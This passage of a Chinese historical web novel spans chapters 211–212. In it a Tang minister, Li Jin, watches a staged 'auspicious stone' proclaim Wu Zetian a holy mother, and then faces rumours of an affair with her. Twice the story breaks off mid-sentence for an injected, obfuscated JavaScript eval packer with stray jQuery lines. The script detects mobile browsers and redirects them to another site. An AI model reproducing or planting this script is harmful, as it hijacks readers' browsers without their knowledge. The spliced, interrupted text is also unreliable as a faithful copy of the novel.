最后,是思。李瑾的目光变得幽深。泰山封禅,尤其是“祥瑞”的出现,本质上是利用“天命”和“神权”来巩固统治,统一思想。这在短期内有效,但长期来看,过度依赖“祥瑞”、“天命”,会扼杀思想的活力,助长迷信和谀媚。武则天近来似乎对佛教愈发感兴趣,或许是想借助佛教理论来进一步巩固自身地位。李瑾对此持谨慎态度。他更倾向于一种更务实、更包容的思想氛围。或许,是时候在“尊儒”的大框架下,有限度地倡导一些“经世致用”的学说,鼓励对农、工、兵、商等实际学问的研究,打破唯经义是举的僵化?甚至,可以效仿太宗皇帝设文学馆、弘文馆的故事,以编纂典籍、整理文献为名,**一批有真才实学、思想开放的士人,探讨治国安邦的实学,为帝国储备不同领域的人才,也稍稍平衡一下被“祥瑞”和“天命”论过度笼罩的思想界?这需要极其谨慎的布局和漫长的努力,但或许,这是为帝国注入长久活力的更深层的方法。
思路渐渐清晰,但前路依旧迷雾重重。他知道,自己所做的这一切,都可能被视为对现有权力格局的挑战,对“盛世”光环的“不和谐音”。他会面临猜忌,面临阻挠,面临明枪暗箭。尤其是那位心思深沉的皇后,那位如今已是“天后”的武则天,她会如何看待自己的这些“固本”之举?是视为必要的补充,还是潜在的威胁?
李瑾放下手中的书卷,长长地吐出一口气。夜已深,万籁俱寂。窗外,东方天际,已隐隐透出一线鱼肚白。
最黑暗的时刻即将过去,黎明将要来临。但李瑾知道,对于这个帝国,对于他个人而言,真正的挑战,或许才刚刚开始。盛极而衰,是历史规律,但规律,未必不可打破。至少,他要竭尽全力,去尝试,去延缓,甚至去改变。
他走到窗前,推开窗户。清冷的晨风带着长安城苏醒的气息扑面而来,驱散了书房内一夜的沉闷。远处,大明宫的轮廓在熹微的晨光中渐渐清晰,那是帝国的权力中枢,也是所有荣耀、阴谋、希望与危机的发源地。
“为盛世续命,为生民立心,为万世……”李瑾低声自语,后面的话,消散在渐起的晨风里。他知道,这条路注定孤独而艰难,但他别无选择。既然站在了这权力的巅峰,既然与这个时代、与这个帝国命运与共,那么,与其在繁华迷梦中等待衰亡的降临,不如在阴影初现时,就擎起火炬,去寻找那可能存在的、通往长久兴盛的道路。
哪怕,那条路上,寒风刺骨,荆棘密布。
天,亮了。
第211章 洛水现瑞石
泰山封禅的余波,如同投入湖心的巨石,涟漪向着帝国的每一个角落扩散。而“祥瑞”二字,则成了这涟漪中最亮眼、也最被各方反复言说的水光。麟德三年的春夏之交,这股由泰山“五彩日晕、紫气横空”所引发的祥瑞热潮,非但没有消退,反而在朝廷有意无意的推波助澜下,愈演愈烈。各地奏报祥瑞的奏章,雪片般飞向长安,什么“嘉禾生陇亩”、“醴泉出庭前”、“白雉栖官衙”,甚至“牛生麒麟”(实为畸形牛犊)之类的奇谈怪论,屡见不鲜。起初,朝廷还郑重其事,遣使查验,予以褒奖,但很快便发现,其中大多牵强附会,甚至不乏地方官员为求政绩、博取欢心而弄虚作假。政事堂诸公对此心知肚明,却也无可奈何,毕竟“祥瑞”已成****,轻易否定,恐招非议。李瑾冷眼旁观,心中对这股愈刮愈烈的虚浮之风愈发忧虑,但他也知道,此刻绝非直言进谏的良机。
然而,所有人都未曾料到,一场远比地方官员“制造”祥瑞更为精心、也更具**冲击力的“天启”,正在东都洛阳,于帝国最核心的水脉之畔,悄然酝酿。
时序进入五月,洛阳城已是一派初夏景象。洛水汤汤,穿城而过,滋养着这座帝国的东都。自泰山封禅归来后,皇帝李治因身体不适,更偏爱洛阳相对温暖湿润的气候,且洛阳宫室壮丽,便于休养,帝后銮驾便多驻跸于此,长安反倒成了“西京”,重要性在**天平上,似乎稍稍向洛阳倾斜。
五月初八,一个看似寻常的清晨。洛水南岸,天津桥附近,薄雾笼罩着河面,早起汲水的妇人、赶着货船的商贾、巡逻的兵丁,各自忙碌,一切如常。忽然,一声带着惊骇与狂喜的尖叫,打破了清晨的宁静。
“天呐!快看!那是什么?!”一个在河边浆洗衣物的老妪,手指颤抖地指向洛水中流。
众人循声望去,只见蒙蒙雾气中,洛水中流靠近天津桥墩处,似乎有一物,在朝阳初升的光芒映照下,隐约散发着温润的、不同于寻常河石的光泽。水波荡漾,那物体时隐时现。
好奇的人们聚拢到岸边,指指点点。有胆大的船夫撑着小舟靠近查看,随即发出更大的惊呼声:“石头!是块大石头!上面……上面好像有字!”
消息如野火般蔓延。很快,天津桥附近**了成百上千的民众,议论纷纷,翘首以盼。洛阳县、河南府的官吏闻讯赶来,不敢怠慢,急忙调派熟悉水性的差役,驾船靠近,设法打捞。
那石头体积不小,通体呈青白色,质地细腻,似玉非玉,似石非石,在水中浸泡,更显温润。最令人惊异的是,石头表面,天然生成(至少看上去是天然生成)八个古篆大字,笔画清晰,深入石理,在晨光与水色映衬下,竟似有流光隐现。
差役们费了九牛二虎之力,用绳索、滚木,才将这沉重的“瑞石”拖拽上岸,安置在天津桥头空地。围观人群潮水般涌上,又被兵丁奋力隔开。那八个大字,在光天化日之下,再无遮掩,赫然映入所有人眼帘——
“圣母临人,永昌帝业。”
现场先是一片死寂,随即轰然炸开!
“圣母……是圣母娘娘吗?”
“临人……降临人世,护佑万民?”
“永昌帝业!这是保佑我大唐帝业永远昌盛啊!”
“天降神石!洛水出宝!这是大祥瑞!比泰山祥瑞还要明白啊!”
“圣母……这指的是……”
人们激动地议论着,猜测着,目光不约而同地投向了洛阳宫城的方向。自泰山封禅,皇后武则天晋位“天后”,与皇帝并称“二圣”,其权威日盛,贤明之名广播朝野。如今,这洛水中天然出现的神石,上刻“圣母临人”,怎能不让人产生联想?尤其在这“天后”权威正隆的时刻,这“圣母”二字,简直像是为武则天量身定做的一般!
消息以最快的速度传入了宫城。
此刻,武则天正在贞观殿偏殿批阅奏章。自皇帝李治身体状况不稳定,时常昏睡或精力不济,越来越多的日常政务便由她代为处理,政事堂的宰相们也已习惯将重要奏章先呈送天后御览。听闻内侍激动万分、语无伦次地禀报洛水出“瑞石”,石上有“圣母临人,永昌帝业”八字时,武则天执笔的手微微一顿。
她抬起眼,凤目之中并无太多惊讶,反而是一片深潭般的平静,仿佛早有所料。但随即,那平静的潭水深处,漾开了一丝极淡的、几乎无法察觉的涟漪,似是笑意,又似是某种了然的深邃。她放下朱笔,缓缓起身,声音平静无波:“哦?竟有此事?可曾勘验清楚?莫要又是民间以讹传讹,或是有心人作伪。”
“回禀天后,千真万确!”那内侍伏地激动道,“河南府尹、洛阳县令均已亲自查验,石头乃从洛水中流捞出,无数百姓亲眼所见。石上八字,深入石理,绝非人力后刻!府尹已调派重兵,将瑞石与现场严密看守,并火速递了奏章入宫!”说着,将一份墨迹未干的紧急奏报高高举起。
武则天缓步上前,接过奏报,展开细看。上面详细描述了“瑞石”发现的时间、地点、经过、形态,以及那八个大字。河南府尹在奏章中,以激动到近乎颤抖的笔触写道:“……此乃上天眷顾,河洛献瑞,明示圣母降临,护佑大唐,帝业永昌!臣等不敢自专,伏乞陛下、天后圣裁……”
武则天看罢,将奏章轻轻合上,指尖在那“圣母临人,永昌帝业”八个字上轻轻摩挲了一下。她转过身,望向窗外洛阳宫城巍峨的殿宇飞檐,目光悠远,仿佛穿透了宫墙,看到了天津桥头那万众瞩目的“瑞石”,看到了天下臣民惊愕、激动、猜测的面孔。
“圣母临人……”她低声重复了一遍,嘴角终于弯起一个清晰而矜持的弧度。这弧度,并非狂喜,而是一种一切尽在掌握的、从容的愉悦。
“陛下何在?”她问。
“回天后,陛下晨起服了药,此刻正在寝殿歇息。”
“嗯。”武则天微微颔首,“待陛下醒来,精神好些,即刻禀报。此等大事,需陛下亲闻。”她顿了顿,又道,“传旨,召政事堂诸位宰相,及在京三品以上官员,即刻入宫议事。再命将作监、礼部、司天台,选派精干人手,随河南府官员,再行仔细勘验瑞石,务求万全,不得有丝毫差池。”
“遵旨!”内侍领命,躬身疾步退下。
武则天重新坐回案前,拿起那份奏报,又仔细看了一遍。她的目光,尤其在“圣母”二字上,停留了许久。泰山封禅,她以皇后之身行亚献,已突破礼制,震动天下。那“天降祥瑞”,虽未明言,但无形中为她与皇帝、梁国公的“三圣”格局提供了“天意”背书。然而,那毕竟是相对模糊的、需要解释的“紫气”与“日晕”。而眼前这洛水瑞石,却是如此直白,如此具体——“圣母临人,永昌帝业”。这已不仅仅是“祥瑞”,而是近乎“谶语”,是“天启”,是上天对“圣母”(几乎明指她武则天)降临人世,永保大唐帝业的明确“预言”和“认证”!
这比她预想的,还要完美,还要有力。
她自然知道这“瑞石”从何而来。数月之前,她的心腹,礼部尚书许敬宗,便曾隐晦地提及,泰山祥瑞虽佳,但若能再有一二“确凿无疑”的天启,则天后之声威,将更上层楼,使天下归心,使那些暗中非议“牝鸡司晨”的迂腐之辈,再也无话可说。当时,她未置可否,只道“天命幽微,岂可强求”。但许敬宗是何等精明人物,自然心领神会。如今,这“洛水瑞石”便“应运而生”了。许敬宗做事,果然缜密。选择洛水,乃因洛水是中原腹地,王朝象征(“河出图,洛出书”);时机选在帝后驻跸洛阳,万民瞩目之际;瑞石形态、字迹,都做得天衣无缝,纵有疑心,也难以找到确凿的把柄。更妙的是,发现者并非官员,而是一个“偶然”在河边浆洗的“老妪”,随后是“自发”**的民众和“按例”查勘的地方官,一切看起来都那么“自然”,那么“偶然”。
“许敬宗……倒是颇知我心。”武则天心中暗道。她需要这“天启”,不仅仅是为了个**威。皇帝的身体一日不如一日,太子李弘日渐成年,朝中暗流从未平息。她需要更强大、更无可辩驳的“神圣性”,来巩固自己的地位,压制潜在的反对声音,为自己未来的道路扫清障碍。这“洛水瑞石”,来得正是时候。
不久,皇帝李治被搀扶着来到大殿。他显然已听内侍禀报了“洛水瑞石”之事,苍白的脸上因激动而泛起病态的红晕,眼中又闪烁着那种熟悉的、近乎狂热的的光芒。“瑞石……洛水出瑞石?‘圣母临人’?好!好!此乃上天再次降下吉兆,佑我大唐!媚娘,你……你果然是上天赐予朕,赐予大唐的圣母啊!”他抓住武则天的手,语无伦次,涕泪交加,仿佛这“瑞石”的出现,又一次验证了他“天命所归”,也验证了他拥有武则天这位“圣母”皇后是何等幸运。
武则天温言安慰着激动的皇帝,眼中适时流露出恰如其分的惊讶、谦逊与感动。“陛下言重了。此乃上天眷顾陛下,眷顾大唐,臣妾何德何能,敢当‘圣母’之称?此必是洛水有灵,感念陛下仁德,天后(她自称)辅佐之功,故显此瑞,以安天下臣民之心。”
很快,政事堂诸宰相及在京重臣们齐聚大殿。许敬宗自然是第一个站出来,以无比激动、无比虔诚的语气,详细禀报了“洛水瑞石”的发现经过,并引经据典,从“河图洛书”的传说,到历代祥瑞的记载,慷慨陈词,论证这“圣母临人,永昌帝业”八字,正是上天对当今天子圣德、天后贤明的最明确、最荣耀的嘉许与预言!他声泪俱下地跪请皇帝、天后,顺应天意,接受上苍的启示,并大张旗鼓地庆贺、宣示,使万民咸知,咸沐天恩。
李义府等一众“拥武派”官员紧随其后,纷纷出列表态,言辞恳切,将“瑞石”的出现与泰山封禅祥瑞相联系,认为这是“上天连续垂示”,大唐国运必将如日中天,陛下、天后功德巍巍,旷古烁今。一些中间派官员,见皇帝激动、天后默许、许敬宗等人气势如虹,也只好随大流,出列恭贺。即便有个别老成持重或心存疑虑的大臣,如侍中刘仁轨等,见此情形,也知势不可逆,若在此时提出任何质疑,不仅徒劳无功,反会惹祸上身,只得保持沉默,或含糊附和。
李瑾也站在殿中。他面色沉静,目光低垂,仿佛在专心聆听许敬宗那激情澎湃的演说。当听到“圣母临人,永昌帝业”八字时,他的眼睫几不可察地颤动了一下。泰山“祥瑞”,他尚可解释为罕见天象的巧合,或被巧妙利用。但这洛水中突然出现的、带有如此明确指向性谶语的“瑞石”,其人为痕迹,在他眼中几乎昭然若揭。许敬宗……或者说是他背后那位天后的手段,果然步步为营,环环相扣。封禅亚献是突破礼制,泰山祥瑞是营造氛围,而这洛水瑞石,则是图穷匕见,要将“天后”进一步神圣化、天命化。
“圣母……”李瑾在心中默念这两个字。这是比“天后”更具神性、也更具颠覆性的称呼。一旦这个称呼被天下人接受、认可,那么武则天就不再仅仅是皇帝的妻子、太子的母亲、辅政的皇后,而是上天认可的、降临人世护佑大唐的“神圣之母”。其权威,将超越世俗的皇权、后权,带上了一层不容置疑的神权色彩。届时,任何针对她的非议和反对,都可能被视为“亵渎天意”、“逆天而行”。
好厉害的一步棋。李瑾暗暗吸了一口气。他知道,自己不能反对,至少不能公开反对。皇帝已然深信不疑,朝堂大势已成,更重要的是,这“瑞石”的出现,在某种程度上,将“天后”与“大唐国运永昌”捆绑在了一起,反对“圣母”,似乎就成了反对大唐国运昌隆。这个罪名,谁也担不起。
但他也无法像许敬宗等人那样,发自内心地欢喜和拥戴。他感到一阵寒意。这“祥瑞”的把戏,从被动利用天象,到主动伪造“天启”,性质已然不同。这是在用人为的“神迹”,来操纵人心,**朝政。今天可以是“圣母临人”,明天又该是什么?长此以往,朝堂之上,还有多少空间留给务实、理性和直言?
当皇帝李治用颤抖而兴奋的声音询问“梁国公以为如何”时,李瑾出列,拱手,声音平稳而清晰:“陛下,天后。洛水现瑞石,字迹昭然,臣闻之亦深感震撼。此确为千
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053762|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
古未有之异事。无论其寓意为何,既显于洛水,为万民所见,便是上天垂示无疑。臣以为,当依许尚书及诸位同僚所议,郑重以迎,详加考释,并昭告天下,以慰臣民之望,以答上天之眷。至于‘圣母’之称……”他略一停顿,感受到大殿内瞬间集中的目光,继续道,“石上既有明示,自当遵从天意。然具体仪典、尊号,还需礼部会同有司,详加拟定,务求妥帖,以彰陛下、天后之圣德,亦显我大唐敬天法祖之诚。”
这番话,滴水不漏。他承认了瑞石的“异事”性质,肯定了需要“郑重对待”,但巧妙地避开了对“圣母”神性的直接表态,而是将问题推给了“礼部会同有司详加拟定”。既未扫皇帝和天后的兴,也未公开迎合许敬宗等人的过度渲染,同时给自己留下了转圜的余地。
武则天深深地看了李瑾一眼,目光中闪过一丝不易察觉的审视,随即化为温和的笑意:“梁国公老成谋国,所言甚是。此事确需从长计议,妥善办理。陛下,您看呢?”
李治自然无不应允,连声道:“好,好!就依梁国公和媚娘所言!许爱卿,此事就交由你礼部牵头,会同司天台、将作监等有司,尽快拿出章程,迎瑞石,定仪典,昭告天下!”
“臣,领旨!定不负陛下、天后厚望!”许敬宗激动叩首,声音洪亮。
朝会在一片“天佑大唐”、“圣母庇佑”的颂扬声结束。但每个走出大殿的官员心中,都明白,这“洛水瑞石”的出现,绝非一次简单的“祥瑞”事件。它像一块投入平静湖面的巨石,激起的,将是比泰山封禅更为深远、也更为复杂的**波澜。
消息如同长了翅膀,迅速从洛阳宫城传遍全城,继而以最快的速度向帝国的每一个州县扩散。“洛水出瑞石,上刻‘圣母临人,永昌帝业’”的传言,伴随着官方即将开始的盛大宣传,以一种比泰山祥瑞更具体、更震撼的方式,冲击着世人的认知。
洛阳百姓沸腾了,纷纷涌向天津桥,企图一睹“神石”真容。各地官员的贺表如同雪片般飞向洛阳。许敬宗亲自撰写的、辞藻华丽、引经据典的《贺洛水瑞石表》,被抄录分发,成为新的颂圣范文。佛教寺院、道观宫观,也开始主动将“圣母”与佛道经典中的女神、圣母形象附会,以迎合上意。
一股新的、以“圣母”崇拜为核心的神化武则天的**浪潮,开始悄然兴起。而在这股看似汹涌澎湃的“天意”浪潮之下,潜流也在暗中涌动。一些士人私下议论,这“瑞石”出现得太过巧合,字迹太过“工整”,隐隐有“人工”痕迹。一些恪守儒家礼法的老臣,对“圣母”之称隐含的“女主”神圣化意味深感不安,却敢怒不敢言。太子李弘在东·宫聽到消息後,沉默了许久,最终只是对身边的老师、太子左庶子张文瓘叹息了一句:“天意幽微,人事纷纭,不知是福是祸。”
而在梁国公府的书房里,李瑾屏退左右,只留下最信任的几位幕僚。他面前摊开的,不是公文,而是一幅粗略的大唐疆域图。
“洛水瑞石……”李瑾的手指,无意识地点在洛阳的位置,声音低沉,“许敬宗的手笔,越来越‘精妙’了。泰山祥瑞,尚可说是借天时地利。这洛水之石,却是彻头彻尾的‘人造天命’。”
一位幕僚低声道:“国公,此乃将天后置于神坛之上,以天命压人事。长此以往,恐非国家之福。朝野议论,已有微词。”
另一位幕僚道:“然则,如今陛下深信不疑,朝中许、李等人推波助澜,民间愚夫愚妇,最易受此蛊惑。我等若强行反对,非但无济于事,反授人以柄,谓我等不敬上天,不顾国运。”
李瑾的目光从地图上移开,望向窗外沉沉的夜色。“反对?自然不能明着反对。这天后的‘天意’,如今是碰不得了。”他顿了顿,眼中闪过一丝锐利的光芒,“但,天意固然高深,人事更需务实。他们可以造‘祥瑞’,我们可以做实事。他们可以尊‘圣母’,我们可以固边防、劝农桑、育人才。这‘圣母临人,永昌帝业’八个字,关键在于‘永昌帝业’。若帝业不昌,民生凋敝,边患频仍,纵有千百‘瑞石’,万般‘祥瑞’,又有何用?”
他转过身,看着几位心腹幕僚:“从明日起,加大对安西、北庭、辽东军械粮草补充的奏请力度,尤其是**与新式劲**。以边防不稳,吐蕃、突厥余部时有异动为由,务必确保边军战力。另外,我拟奏请陛下、天后,于各道设立‘劝农使’,选拔干员,专司推广新式农具,兴修水利,考核地方官劝课农桑之绩,务求实效,而非虚文。还有,之前议及的,在长安、洛阳、扬州等地,遴选聪颖寒门子弟,入弘文馆、国子监旁听,兼**算学、格物、兵法等实用之学的章程,要尽快完善,寻机提出。”
幕僚们相视一眼,都从对方眼中看到了然。国公这是要“以实对虚”,在对方大造“祥瑞”、神化天后的**攻势下,默默夯实帝国的根基,培养务实的人才,掌握真正的实力。
“至于这‘洛水瑞石’……”李瑾嘴角勾起一丝冷峭的弧度,“且让他们去迎,去拜,去**吧。水能载舟,亦能覆舟。这‘天意’捧起来的船,越高,越要小心风浪。我们只需确保,我们的船,龙骨坚固,不惧风浪即可。”
他挥了挥手,幕僚们会意,躬身退下。
书房内重归寂静。李瑾再次将目光投向那幅疆域图,从洛阳,缓缓移向西北的安西、陇右,移向东北的安东,移向辽阔的草原,无际的海洋。
“圣母临人,永昌帝业……”他低声重复着这八个字,眼中没有丝毫对“神迹”的敬畏,只有一片冰冷的清明与深深的警惕。
这以“祥瑞”和“天意”为武器的意识形态争夺战,已然拉开序幕。而第一回合,对方凭借这方突如其来的“洛水瑞石”,占得了先机。
但他李瑾的战场,从来不在洛水之畔,不在祥瑞的光环之下。他的战场,在边疆的烽燧,在田野的阡陌,在军械作坊的火光里,在即将建立的、教授实用之学的新式学堂中。
真正的“永昌帝业”,从来不是靠石头上的几个字就能实现的。
第212章 流言谤二圣
洛水瑞石的“天启”之光尚未散尽,洛阳城内,关于“圣母临人,永昌帝业”的官方宣传正如火如荼。河南府组织了盛大的“迎瑞”仪式,将那块沉重的青白石从天津桥畔请出,以黄绫覆盖,香花引路,鼓乐开道,在禁军护卫和无数百姓的簇拥围观下,缓缓移送至洛阳宫城南门外的广场,搭建起高大的彩棚,供奉起来,任人瞻仰。礼部官员每日在瑞石前宣讲“天意”,太常寺编排了颂圣的乐舞,各州县纷纷上表庆贺,佛教高僧、道教领袖也接连发表言论,将“圣母”与佛经道藏中的神女、后土形象附会。一时间,“圣母”之名,响彻两京,似乎成了帝国新的精神图腾,武则天的权威,在“天命”的加持下,达到了一个新的高度。
然而,就在这片看似万众一心、**的喧腾之下,一股阴冷、粘稠、带着恶毒揣测与隐秘敌意的暗流,却在长安、洛阳的某些角落,如同地底的脏水,开始悄无声息地渗透、蔓延。这股暗流,最初只是模糊的窃窃私语,是宴席间隙心照不宣的暧昧眼神,是市井坊间一闪而过的诡异笑容,但很快,它便凝聚成形,变成有鼻子有眼的、足以致命的风言风语。而矛头所指,正是如今站在帝国权力巅峰、受万民称颂的“二圣”——天后武则天,与梁国公李瑾。
流言的核心,并非朝政得失,亦非军国大事,而是最古老、也最恶毒的攻击方式——男女私情。
起初的版本还算隐晦,多在一些对“牝鸡司晨”深感不满的旧式官僚、清流文人的小圈子里流传。他们不敢公开质疑“洛水瑞石”和“圣母”尊号,便将怨气转向了武则天与李瑾非同寻常的密切关系。
“哼,什么‘圣母临人’,不过是妇寺干政的遮羞布罢了!陛下龙体欠安,天后独揽大权,外倚李瑾兵权,内用许、李奸佞,这天下,究竟是姓李,还是姓武?抑或是……”某位致仕在家的前御史大夫,在私邸与老友对饮时,趁着酒意,压低声音,话只说半句,留下无尽的遐想空间。
“泰山封禅,天后亚献,已是骇人听闻。梁国公为终献,与帝后并列,享无上尊荣。如今这洛水瑞石,更是将天后捧上神坛。你们想想,自梁国公回朝辅政以来,天后对其是何等信重?言听计从,赏赐无算,军国大事,多与之谋。梁国公权势之盛,可谓本朝第一人。这君臣相得,固然是佳话,可一为皇后,一为外臣,且皆在盛年,如此密切,难道不怕物议么?”某个以清流自诩的翰林学士,在文会之后,与三五知己“偶感”时事,发出这般“忧虑”。
“听闻梁国公时常夜入宫禁,与天后商议机密,有时直至深夜方出。宫门下钥之后,非有特旨不得出入,梁国公何以能例外?这‘商议机密’,未免也太过频繁了些。”某个消息“灵通”的闲散宗室,在平康坊的雅阁中,对着一众酒肉朋友,挤眉弄眼地“透露”。
这些还算是“体面人”圈子里的含沙射影。流入市井之后,经过底层百姓那既敬畏权力又对宫廷秘事充满猎奇心理的加工,流言迅速变得粗俗、直白,也更具传播力。
“听说了吗?那天后娘娘和梁国公啊……嘿嘿,可不是一般的君臣关系!梁国公为啥能立那么多大功?为啥能当上终献官?还不是因为……有枕头风吹着嘛!”长安西市某个生意冷清的茶摊上,一个行商打扮的汉子,对着几个竖起耳朵的脚夫,压低了声音,表情猥琐。
“真的假的?那可是天后!梁国公也敢?”一个脚夫瞪大了眼睛,又是震惊,又是不信,更多的是听秘闻的兴奋。
“这你就不懂了吧!宫里的事,谁能说得清?陛下身子骨不行了,天后娘娘正当年,又是那么个厉害人物,能……能没点想法?梁国公英雄了得,模样也周正,两人凑一块儿,可不就……”行商挤眉弄眼,一切尽在不言中。
“可梁国公不是有家室吗?听说夫妻挺和睦的。”
“家室?那算什么!那可是天后!再说了,这种事,还能让你我知道?我听宫里当差的表亲的二舅说,梁国公经常半夜被召进宫,一待就是大半夜,出来的时候,那神色……啧啧,可不像只是商量国事。”另一个看起来更“知情”的闲汉凑过来,信誓旦旦地补充。
“天爷!这要是真的……那‘圣母’……嘿嘿……”有人发出暧昧的嗤笑。
“小声点!你不要命了!”旁边人赶紧制止,但眼神里的兴奋和窥探欲却更浓了。
流言如同瘟疫,在酒肆茶楼、勾栏瓦舍、坊间巷尾飞速传播。人们热衷于谈论上位者的隐私,尤其是涉及男女关系的宫廷秘闻,这能极大地满足他们的猎奇心和某种隐秘的、对至高权力进行“亵渎”的快感。更何况,这流言还巧妙地结合了当下最热门的“洛水瑞石”和“圣母”话题——“圣母”与权臣有私,这反差,这劲爆程度,足以让任何听到的人血脉贲张,添油加醋地再传播给下一个人。
版本也越来越离奇。有的说李瑾早年征战在外时,就与当时还是皇后的武则天有旧情;有的说泰山封禅途中,帝后车驾与梁国公仪仗并行,曾有人看见天后凤辇的帘幕掀起,与骑在马上的梁国公“相视一笑,情意绵绵”;更有甚者,竟编排起“狸猫换太子”的故事,暗示太子李弘可能并非皇帝亲生……流言在传播中不断变异、放大,越来越不堪入耳,也越来越恶毒。
起初,这些流言还只在下层市井和少数心怀不满的士人圈子里传播。但很快,它们就像长了翅膀,飞入了深宅大院,飞入了达官显贵的私密聚会,甚至……飞入了皇宫大内。
首先察觉异样的,是武则天那无孔不入的耳目。北门学士中,有负责采风、搜集市井言论的,很快将长安、洛阳两地流传的、关于天后与梁国公的“风言风语”整理成密报,呈送到了武则天面前。
贞观殿偏殿内,烛火通明。武则天看完了那份措辞谨慎、但内容触目惊心的密报,脸上没有任何表情,既无愤怒,也无羞恼,只有一片深不见底的冰寒。她伸出保养得宜、涂着鲜红蔻丹的手指,轻轻划过那些污秽的字句,动作慢条斯理,却让侍立在一旁的宫女内侍,连大气都不敢喘。
“查。”良久,她朱唇轻启,只吐出一个字,声音平静,却带着凛冽的寒意,“是谁在散播?源头在哪里?背后有无主使?一查到底。”
“是。”负责此事的北门学士躬身领命,额头渗出细密的冷汗。他知道,天后越是平静,说明怒火越是炽烈。此事,怕是无法善了了。
几乎在同时,梁国公府也收到了风声。不是通过正式的官方渠道,而是李瑾布设在市井、用于搜集情报的眼线,以及一些与他交好、或心存善意的官员,悄悄递来的消息。
书房内,李瑾看着面前几张字迹各异、内容却大同小异的纸条,脸色阴沉得能滴出水来。一股冰冷的怒意,混杂着强烈的荒谬感与警惕,从他心底升起。他征战半生,尸山血海里闯过来,明枪暗箭经历过无数,但这种下作肮脏的、直指私德、意图从根本上污名化他与天后的关系、进而动摇两人**同盟的流言攻击,还是第一次遇到。
“无耻之尤!”站在一旁的亲信部曲统领,一个跟随李瑾多年的铁血汉子,气得浑身发抖,拳头捏得咯咯响,“国公!这是有人眼红您和天后的功绩威望,用这等下三滥的手段污蔑构陷!让末将去查!查出来,定将他**万段!”
李瑾抬手,制止了部曲统领的暴怒。他闭上眼睛,深吸了几口气,强迫自己冷静下来。愤怒解决不了问题,反而会落入对方的圈套。这流言看似荒唐,实则狠毒无比。它攻击的不是具体的政见、军功,而是最基本的人伦名节,是武则天作为皇后、李瑾作为臣子最不容玷污的清白。这种攻击,难以公开辩白,越辩越黑,却又极具杀伤力,一旦扩散开来,足以在百姓心中种下猜疑的种子,严重损害武则天和他个人的声誉,甚至可能离间他与皇帝、与太子之间的关系。
“能想出用这等手段的,绝非寻常市井之徒,也非那些只知空谈的腐儒。”李瑾缓缓睁开眼,眸中寒光闪烁,“这是精心策划的**攻击。目的,就是要毁掉我与天后的名声,破坏‘二圣’并尊、内外相济的局面。若陛下听闻,心生猜忌;若太子听闻,加深隔阂;若朝野物议沸腾,则天后执政的合法性,我统兵的威信,都将受到严重质疑。好毒的计策!”
“会是谁?”部曲统领咬牙切齿,“关陇那些老家伙?还是对天后掌权不满的宗室?或者是……东宫那边?”他话一出口,自己也吓了一跳,连忙噤声。
李瑾摇了摇头:“未必是某一方
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053763|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
单独所为。很可能是多方势力,在反对天后这一点上,形成了某种默契,甚至勾结。关陇旧族、部分儒家正统派、对天后或我李瑾不满的政敌、甚至可能还有……某些不希望看到太子地位稳固的势力,混杂在一起,推波助澜。他们不敢公开对抗‘洛水瑞石’的天命,便用这种阴私手段,从最不堪的角度进行污蔑。”
他走到窗边,望着庭院中沉沉的夜色。流言已经传出,就像泼出去的脏水,想要完全收回、洗净,几乎不可能。强行压制,只会显得心虚,让流言传播得更快、更隐秘。公开辩白?与天后一起站出来澄清?那更是此地无银三百两,正中对方下怀,将本就暧昧的传言坐实成公众讨论的话题。
必须用更巧妙的方式应对。
“你立刻去做几件事。”李瑾转过身,语气恢复了平日的冷静果决,“第一,严密监控市井流言动向,尤其是长安、洛阳两地的酒楼、茶馆、勾栏、寺庙道观等人员混杂之处,留意有哪些人在刻意传播,背后有无可疑资金往来、人员串联。但只监视,不抓捕,不打草惊蛇。”
“第二,让我们的人,在可靠的小范围圈子里,放出一些‘反流言’。不必直接辩白,只需强调天后勤于政事、夙夜匪懈,我李瑾常年征战、伤病缠身,近日又为边务军械之事操劳过度,陛下对天后、对我信任有加,君臣相得,乃是国朝大幸。要说得自然,像是闲谈感慨,而非刻意解释。”
“第三,”李瑾顿了顿,眼中闪过一丝锐利,“重点留意东宫属官,以及那些与东宫过往甚密的官员、文人的动向。还有,查一查最近有没有什么不得志的文人、落魄的宗室、被罢黜的官员,频繁聚会,或突然阔绰起来。”
“国公是怀疑……”部曲统领心领神会。
“未必是太子授意,但东宫身边,想借机生事,离间天后、太子与我关系的人,只怕不少。”李瑾冷冷道,“另外,关陇各家,尤其是那些近年来被边缘化、心怀怨望的,也要盯着。还有,许敬宗、李义府那边,也注意一下。”
“许相、**?他们不是……”部曲统领一愣。
“他们自然是拥戴天后的。但此等流言,损及天后清誉,他们或许乐见其成,甚至可能暗中加把火,以凸显他们的‘忠诚’,或者……借此敲打于我,也未可知。”李瑾看得透彻。**盟友,未必在所有事情上都同心同德。许、李二人依附武则天,但也未必希望看到李瑾与天后的关系过于紧密,威胁到他们的地位。
“属下明白!”部曲统领领命而去。
书房内重归寂静。李瑾独自一人,面对摇曳的烛火。流言的毒刺,已经扎下。他能感觉到,一股针对他,更是针对武则天,针对当前权力格局的暗流,正在水面下汹涌汇聚。这“洛水瑞石”带来的“天命”光环,非但没有平息所有的反对声音,反而可能刺激了那些潜在的敌人,让他们采取了更阴险、更无底线的攻击方式。
